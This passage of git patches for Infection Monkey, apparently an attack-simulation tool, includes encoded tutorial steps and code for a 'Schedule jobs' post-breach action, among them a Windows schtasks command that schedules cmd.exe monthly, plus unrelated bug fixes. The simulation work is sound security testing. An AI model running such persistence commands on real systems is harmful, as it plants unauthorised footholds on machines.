+    "summary": "TWFueSUyMG90aGVyJTIwUEJBcyUyMGFyZSUyMGFzJTIwc2ltcGxlJTIwYXMlMjB0aGlzJTIwb25lJTJDJTIwdXNpbmclMjBzaGVsbCUyMGNvbW1hbmRzJTIwb3IlMjBzY3JpcHRzJTIwJUUyJTgwJTk0JTIwc2VlJTIwJTYwVGltZXN0b21waW5nJTYwJTIwYW5kJTIwJTYwQWNjb3VudERpc2NvdmVyeSU2MC4lMjAlM0NiciUzRSUzQ2JyJTNFJTBBJTBBSG93ZXZlciUyQyUyMGZvciUyMGxlc3MlMjBzdHJhaWdodGZvcndhcmQlMjBvbmVzJTJDJTIweW91JTIwY2FuJTIwb3ZlcnJpZGUlMjBmdW5jdGlvbnMlMjBhbmQlMjBpbXBsZW1lbnQlMjBuZXclMjBjbGFzc2VzJTIwZGVwZW5kaW5nJTIwb24lMjB3aGF0JTIwaXMlMjByZXF1aXJlZCUyMCVFMiU4MCU5NCUyMHNlZSUyMCU2MFNpZ25lZFNjcmlwdFByb3h5RXhlY3V0aW9uJTYwJTIwYW5kJTIwJTYwTW9kaWZ5U2hlbGxTdGFydHVwRmlsZXMlNjAuJTNDYnIlM0UlM0NiciUzRSUwQSUwQVRoaXMlMjBQQkElMkMlMjBhbG9uZyUyMHdpdGglMjBhbGwlMjB0aGUlMjBvdGhlciUyMFBCQXMlMkMlMjB3aWxsJTIwcnVuJTIwb24lMjBhJTIwc3lzdGVtJTIwYWZ0ZXIlMjBpdCUyMGhhcyUyMGJlZW4lMjBicmVhY2hlZC4lMjBUaGUlMjBwdXJwb3NlJTIwb2YlMjB0aGlzJTIwY29kZSUyMGlzJTIwdG8lMjB0ZXN0JTIwd2hldGhlciUyMHRhcmdldCUyMHN5c3RlbXMlMjBhbGxvdyUyMGF0dGFja2VycyUyMHRvJTIwc2NoZWR1bGUlMjBqb2JzJTJDJTIwd2hpY2glMjB0aGV5JTIwY291bGQlMjB1c2UlMjB0byUyMHJ1biUyMG1hbGljaW91cyUyMGNvZGUlMjBhdCUyMHNvbWUlMjBzcGVjaWZpZWQlMjBkYXRlJTIwYW5kJTIwdGltZS4=",
+    "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZzY2hlZHVsZV9qb2JzLnB5JTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZzY2hlZHVsZV9qb2JzLnB5JTBBaW5kZXglMjBkNmNkZDI3Ni4uNzlhNzcyNGQlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRnNjaGVkdWxlX2pvYnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRnNjaGVkdWxlX2pvYnMucHklMEElNDAlNDAlMjAtMTAlMkMxMCUyMCUyQjEwJTJDNSUyMCU0MCU0MCUyMGNsYXNzJTIwU2NoZWR1bGVKb2JzKFBCQSklM0ElMEElMjAlMjAlMjAlMjAlMjAlMjIlMjIlMjIlMEElMjAlMEElMjAlMjAlMjAlMjAlMjBkZWYlMjBfX2luaXRfXyhzZWxmKSUzQSUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWRzJTJDJTIwd2luZG93c19jbWRzJTIwJTNEJTIwZ2V0X2NvbW1hbmRzX3RvX3NjaGVkdWxlX2pvYnMoKSUwQS0lMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoU2NoZWR1bGVKb2JzJTJDJTIwc2VsZikuX19pbml0X18obmFtZSUzRFBPU1RfQlJFQUNIX0pPQl9TQ0hFRFVMSU5HJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZCUzRCclMjAnLmpvaW4obGludXhfY21kcyklMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwd2luZG93c19jbWQlM0R3aW5kb3dzX2NtZHMpJTBBLSUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZW1vdmVfc2NoZWR1bGVkX2pvYnMoKSUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHBhc3MlMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwSU1QTEVNRU5UJTIwSEVSRSElMEE=",
+    "tests": [],
+    "hints": [
+        "Check out the `Timestomping` PBA to get an idea about the implementation.",
+        "Don't forget to add code to remove the scheduled jobs!"
+    ],
+    "files": {
+        "monkey/infection_monkey/post_breach/actions/schedule_jobs.py": {
+            "index": [
+                "d6cdd276..79a7724d",
+                "100644"
+            ],
+            "fileA": "monkey/infection_monkey/post_breach/actions/schedule_jobs.py",
+            "fileB": "monkey/infection_monkey/post_breach/actions/schedule_jobs.py",
+            "status": "MODIFIED",
+            "numLineDeletions": 7,
+            "numLineAdditions": 2,
+            "hunkContainers": [
+                "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMCUyQzEwJTIwJTJCMTAlMkM1JTIwJTQwJTQwJTIwY2xhc3MlMjBTY2hlZHVsZUpvYnMoUEJBKSUzQSUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlNUMlMjIlNUMlMjIlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMCUyQyUyMmIlMjIlM0ExMCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTJDJTIyYiUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwZGVmJTIwX19pbml0X18oc2VsZiklM0ElMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMiUyQyUyMmIlMjIlM0ExMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWRzJTJDJTIwd2luZG93c19jbWRzJTIwJTNEJTIwZ2V0X2NvbW1hbmRzX3RvX3NjaGVkdWxlX2pvYnMoKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN1cGVyKFNjaGVkdWxlSm9icyUyQyUyMHNlbGYpLl9faW5pdF9fKG5hbWUlM0RQT1NUX0JSRUFDSF9KT0JfU0NIRURVTElORyUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE1JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZCUzRCclMjAnLmpvaW4obGludXhfY21kcyklMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZW1vdmVfc2NoZWR1bGVkX2pvYnMoKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcGFzcyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIzJTIwU3dpbW1lciUzQSUyMElNUExFTUVOVCUyMEhFUkUhJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMTQlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMCUyQyUyMmxpbmVzQ291bnQlMjIlM0ExMCU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMCUyQyUyMmxpbmVzQ291bnQlMjIlM0E1JTdEJTdEJTdEJTdE"
+            ]
+        }
+    },
+    "app_version": "0.1.90",
+    "file_version": "1.0.2"
+}
\ No newline at end of file
diff --git a/.swm/xYkxB76pK0peJj2tSxBJ.swm b/.swm/xYkxB76pK0peJj2tSxBJ.swm
new file mode 100644
index 000000000..cf34817e6
--- /dev/null
+++ b/.swm/xYkxB76pK0peJj2tSxBJ.swm
@@ -0,0 +1,30 @@
+{
+    "id": "xYkxB76pK0peJj2tSxBJ",
+    "name": "Define what your new PBA does",
+    "dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIwYSUyMG5ldyUyMFBCQSUyMGNvbnN0JTIwdGhhdCUyMGRlZmluZXMlMjB3aGF0JTIwdGhlJTIwUEJBJTIwZG9lcy4=",
+    "description": "VGhlJTIwbmFtZSUyMG9mJTIweW91ciUyMG5ldyUyMFBCQSUyMCh3aGljaCUyMGNyZWF0ZXMlMjBzY2hlZHVsZWQlMjBqb2JzJTIwb24lMjB0aGUlMjBtYWNoaW5lKSUyMHdpbGwlMjBiZSUyMHVzZWQlMjBpbiUyMGElMjBmZXclMjBwbGFjZXMlMkMlMjBpbmNsdWRpbmclMjB0aGUlMjByZXBvcnQuJTIwJTNDYnIlM0UlM0NiciUzRSUwQVlvdSUyMHNob3VsZCUyMGJyaWVmbHklMjBkZWZpbmUlMjB3aGF0JTIweW91ciUyMFBCQSUyMGRvZXMlMjBpbiUyMGElMjBjb25zdGFudCUyMHZhcmlhYmxlJTJDJTIwc3VjaCUyMHRoYXQlMjBpdCUyMGNhbiUyMGJlJTIwdXNlZCUyMGJ5JTIwYm90aCUyMHRoZSUyME1vbmtleSUyMGFuZCUyMHRoZSUyME1vbmtleSUyMElzbGFuZC4lMEElMEElMjMlMjMlMjBNYW51YWwlMjB0ZXN0JTIwJTIwJTBBT25jZSUyMHlvdSUyMHRoaW5rJTIweW91J3JlJTIwZG9uZS4uLiUwQS0lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEtJTIwTWFrZSUyMHN1cmUlMjB0aGUlMjAlMjJKb2IlMjBzY2hlZHVsaW5nJTIyJTIwUEJBJTIwaXMlMjBlbmFibGVkJTIwaW4lMjB0aGUlMjAlMjJNb25rZXklMjIlMjB0YWIlMjBpbiUyMHRoZSUyMGNvbmZpZ3VyYXRpb24lMjAlRTIlODAlOTQlMjBmb3IlMjB0aGlzJTIwdGVzdCUyQyUyMGRpc2FibGUlMjBuZXR3b3JrJTIwc2Nhbm5pbmclMkMlMjBleHBsb2l0aW5nJTJDJTIwYW5kJTIwYWxsJTIwb3RoZXIlMjBQQkFzJTBBLSUyMFJ1biUyMHRoZSUyME1vbmtleSUwQS0lMjBDaGVjayUyMHRoZSUyMFBCQSUyMHNlY3Rpb24lMjBpbiUyMHRoZSUyMFNlY3VyaXR5JTIwcmVwb3J0JTIwZm9yJTIwdGhlJTIwbmFtZSUyMHlvdSUyMGdhdmUlMjB0byUyMHRoZSUyMG5ldyUyMFBCQSUyMCUyMCUwQSUwQSUzQ2ltZyUyMHNyYyUzRCUyMmh0dHBzJTNBJTJGJTJGZmlyZWJhc2VzdG9yYWdlLmdvb2dsZWFwaXMuY29tJTJGdjAlMkZiJTJGc3dpbW1pby1jb250ZW50JTJGbyUyRnJlcG9zaXRvcmllcyUyNTJGNk5sYjk5TnRZNUZjM2JTZDhzdUglMjUyRmltZyUyNTJGZjBlNTNlNmMtOWRiZS00MWQ4LTk0NTQtMmI1NzYxYzNmNTNhLnBuZyUzRmFsdCUzRG1lZGlhJTI2dG9rZW4lM0QyMWFhNGJiOC03ZWJlLTRkYWItYTczOS1jNzdlMDU5MTQ0ZGQlMjIlMjBoZWlnaHQlM0Q0MDAlM0U=",
+    "summary": "LSUyMFRoZSUyMG5hbWUlMjBkZWZpbmVkJTIwaGVyZSUyMGZvciUyMHlvdXIlMjBQQkElMjBjYW4lMjBiZSUyMHNlZW4lMjBvbiUyMHRoZSUyME1vbmtleSUyMElzbGFuZCUyMGluJTIwdGhlJTIwUEJBJTIwc2VjdGlvbiUyMGluJTIwdGhlJTIwU2VjdXJpdHklMjByZXBvcnQuJTBBLSUyMFRoZSUyMHJlc3VsdHMlMjBvZiUyMGVhY2glMjBQQkElMjBzdG9yZWQlMjBpbiUyMHRoZSUyMHRlbGVtZXRyeSUyMGFyZSUyMGFsc28lMjBpZGVudGlmaWVkJTIwYnklMjB0aGUlMjBzdHJpbmclMjBkZWZpbmVkJTIwaGVyZSUyMGZvciUyMHRoYXQlMjBQQkEu",
+    "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwMjVlNjY3OWMuLjQ2ZDgwMmRlJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC01JTJDNyUyMCUyQjUlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfU0hFTExfU1RBUlRVUF9GSUxFX01PRElGSUNBVElPTiUyMCUzRCUyMCUyMk1vZGlmeSUyMHNoZWxsJTIwc3RhcnR1cCUyMGZpbGUlMjIlMEElMjBQT1NUX0JSRUFDSF9ISURERU5fRklMRVMlMjAlM0QlMjAlMjJIaWRlJTIwZmlsZXMlMjBhbmQlMjBkaXJlY3RvcmllcyUyMiUwQSUyMFBPU1RfQlJFQUNIX1RSQVBfQ09NTUFORCUyMCUzRCUyMCUyMkV4ZWN1dGUlMjBjb21tYW5kJTIwd2hlbiUyMGElMjBwYXJ0aWN1bGFyJTIwc2lnbmFsJTIwaXMlMjByZWNlaXZlZCUyMiUwQSUyMFBPU1RfQlJFQUNIX1NFVFVJRF9TRVRHSUQlMjAlM0QlMjAlMjJTZXR1aWQlMjBhbmQlMjBTZXRnaWQlMjIlMEEtUE9TVF9CUkVBQ0hfSk9CX1NDSEVEVUxJTkclMjAlM0QlMjAlMjJTY2hlZHVsZSUyMGpvYnMlMjIlMEElMkIlMjMlMjBTd2ltbWVyJTNBJTIwUFVUJTIwVEhFJTIwTkVXJTIwQ09OU1QlMjBIRVJFISUwQSUyMFBPU1RfQlJFQUNIX1RJTUVTVE9NUElORyUyMCUzRCUyMCUyMk1vZGlmeSUyMGZpbGVzJyUyMHRpbWVzdGFtcHMlMjIlMEElMjBQT1NUX0JSRUFDSF9TSUdORURfU0NSSVBUX1BST1hZX0VYRUMlMjAlM0QlMjAlMjJTaWduZWQlMjBzY3JpcHQlMjBwcm94eSUyMGV4ZWN1dGlvbiUyMiUwQSUyMFBPU1RfQlJFQUNIX0FDQ09VTlRfRElTQ09WRVJZJTIwJTNEJTIwJTIyQWNjb3VudCUyMGRpc2NvdmVyeSUyMiUwQQ==",
+    "tests": [],
+    "hints": [
+        "See the `Timestomping` PBA. How is the name of the PBA set?"
+    ],
+    "files": {
+        "monkey/common/data/post_breach_consts.py": {
+            "index": [
+                "25e6679c..46d802de",
+                "100644"
+            ],
+            "fileA": "monkey/common/data/post_breach_consts.py",
+            "fileB": "monkey/common/data/post_breach_consts.py",
+            "status": "MODIFIED",
+            "numLineDeletions": 1,
+            "numLineAdditions": 1,
+            "hunkContainers": [
+                "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC01JTJDNyUyMCUyQjUlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfU0hFTExfU1RBUlRVUF9GSUxFX01PRElGSUNBVElPTiUyMCUzRCUyMCU1QyUyMk1vZGlmeSUyMHNoZWxsJTIwc3RhcnR1cCUyMGZpbGUlNUMlMjIlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwUE9TVF9CUkVBQ0hfSElEREVOX0ZJTEVTJTIwJTNEJTIwJTVDJTIySGlkZSUyMGZpbGVzJTIwYW5kJTIwZGlyZWN0b3JpZXMlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9UUkFQX0NPTU1BTkQlMjAlM0QlMjAlNUMlMjJFeGVjdXRlJTIwY29tbWFuZCUyMHdoZW4lMjBhJTIwcGFydGljdWxhciUyMHNpZ25hbCUyMGlzJTIwcmVjZWl2ZWQlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2JTJDJTIyYiUyMiUzQTYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9TRVRVSURfU0VUR0lEJTIwJTNEJTIwJTVDJTIyU2V0dWlkJTIwYW5kJTIwU2V0Z2lkJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNyUyQyUyMmIlMjIlM0E3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMlBPU1RfQlJFQUNIX0pPQl9TQ0hFRFVMSU5HJTIwJTNEJTIwJTVDJTIyU2NoZWR1bGUlMjBqb2JzJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMyUyMFN3aW1tZXIlM0ElMjBQVVQlMjBUSEUlMjBORVclMjBDT05TVCUyMEhFUkUhJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX1RJTUVTVE9NUElORyUyMCUzRCUyMCU1QyUyMk1vZGlmeSUyMGZpbGVzJyUyMHRpbWVzdGFtcHMlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E5JTJDJTIyYiUyMiUzQTklN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9TSUdORURfU0NSSVBUX1BST1hZX0VYRUMlMjAlM0QlMjAlNUMlMjJTaWduZWQlMjBzY3JpcHQlMjBwcm94eSUyMGV4ZWN1dGlvbiU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTJDJTIyYiUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwUE9TVF9CUkVBQ0hfQUNDT1VOVF9ESVNDT1ZFUlklMjAlM0QlMjAlNUMlMjJBY2NvdW50JTIwZGlzY292ZXJ5JTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTElMkMlMjJiJTIyJTNBMTElN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0E1JTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBNSUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE"
+            ]
+        }
+    },
+    "app_version": "0.1.90",
+    "file_version": "1.0.2"
+}
\ No newline at end of file

From 1cbcb69697a8a472f942c5692bf3b2ff370f34e9 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Mon, 12 Oct 2020 16:25:30 +0300
Subject: [PATCH 08/30] Fixed schedule_jobs bug, where scheduled job is never
 deleted and monkey freezes indefinitelly.

---
 monkey/infection_monkey/control.py                         | 2 +-
 .../infection_monkey/post_breach/actions/schedule_jobs.py  | 4 +++-
 .../post_breach/job_scheduling/windows_job_scheduling.py   | 2 +-
 monkey/infection_monkey/post_breach/post_breach_handler.py | 7 ++++---
 4 files changed, 9 insertions(+), 6 deletions(-)

diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py
index 35922286f..32b639492 100644
--- a/monkey/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -81,7 +81,7 @@ class ControlClient(object):
                 if ControlClient.proxies:
                     debug_message += " through proxies: %s" % ControlClient.proxies
                 LOG.debug(debug_message)
-                requests.get("https://%s/api?action=is-up" % (server,),  # noqa: DUO123
+                requests.get(f"https://{server}/api?action=is-up",  # noqa: DUO123
                              verify=False,
                              proxies=ControlClient.proxies,
                              timeout=TIMEOUT_IN_SECONDS)
diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py
index d6cdd2765..f7d8d8056 100644
--- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py
+++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py
@@ -15,5 +15,7 @@ class ScheduleJobs(PBA):
         super(ScheduleJobs, self).__init__(name=POST_BREACH_JOB_SCHEDULING,
                                            linux_cmd=' '.join(linux_cmds),
                                            windows_cmd=windows_cmds)
-
+    
+    def run(self):
+        super(ScheduleJobs, self).run()
         remove_scheduled_jobs()
diff --git a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py
index 017203821..6fd888d67 100644
--- a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py
+++ b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py
@@ -5,7 +5,7 @@ SCHEDULED_TASK_COMMAND = r'C:\windows\system32\cmd.exe'
 
 
 def get_windows_commands_to_schedule_jobs():
-    return f'schtasks /Create /SC monthly /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}'
+    return f'schtasks /Create /SC monthly /F /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}'
 
 
 def get_windows_commands_to_remove_scheduled_jobs():
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index e20727ccf..888984551 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -25,9 +25,9 @@ class PostBreach(object):
         """
         Executes all post breach actions.
         """
-        pool = Pool(5)
-        pool.map(self.run_pba, self.pba_list)
-        LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list)))
+        with Pool(5) as pool:
+            pool.map(self.run_pba, self.pba_list)
+            LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list)))
 
     @staticmethod
     def config_to_pba_list() -> Sequence[PBA]:
@@ -40,5 +40,6 @@ class PostBreach(object):
         try:
             LOG.debug("Executing PBA: '{}'".format(pba.name))
             pba.run()
+            LOG.debug(f"Execution of {pba.name} finished")
         except Exception as e:
             LOG.error("PBA {} failed. Error info: {}".format(pba.name, e))

From 7abafb70e1f885794b6181d516c7c84afcf29a6c Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Fri, 9 Oct 2020 10:19:32 +0300
Subject: [PATCH 09/30] Fixed bad exception handling in version_update.py

---
 monkey/common/utils/exceptions.py                  |  4 ++++
 monkey/monkey_island/cc/services/version_update.py | 11 ++++++++---
 2 files changed, 12 insertions(+), 3 deletions(-)

diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py
index fa026933c..5134ade0a 100644
--- a/monkey/common/utils/exceptions.py
+++ b/monkey/common/utils/exceptions.py
@@ -20,3 +20,7 @@ class CredentialsNotRequiredError(RegistrationNotNeededError):
 
 class AlreadyRegisteredError(RegistrationNotNeededError):
     """ Raise to indicate the reason why registration is not required """
+
+
+class NoInternetError(Exception):
+    """ Raise to indicate problems caused when no internet connection is present"""
diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py
index ad1f81513..e4dea2b95 100644
--- a/monkey/monkey_island/cc/services/version_update.py
+++ b/monkey/monkey_island/cc/services/version_update.py
@@ -3,6 +3,7 @@ import logging
 import requests
 
 import monkey_island.cc.environment.environment_singleton as env_singleton
+from common.utils.exceptions import NoInternetError
 from common.version import get_version
 
 __author__ = "itay.mizeretz"
@@ -29,8 +30,8 @@ class VersionUpdateService:
         if VersionUpdateService.newer_version is None:
             try:
                 VersionUpdateService.newer_version = VersionUpdateService._check_new_version()
-            except Exception:
-                logger.exception('Failed updating version number')
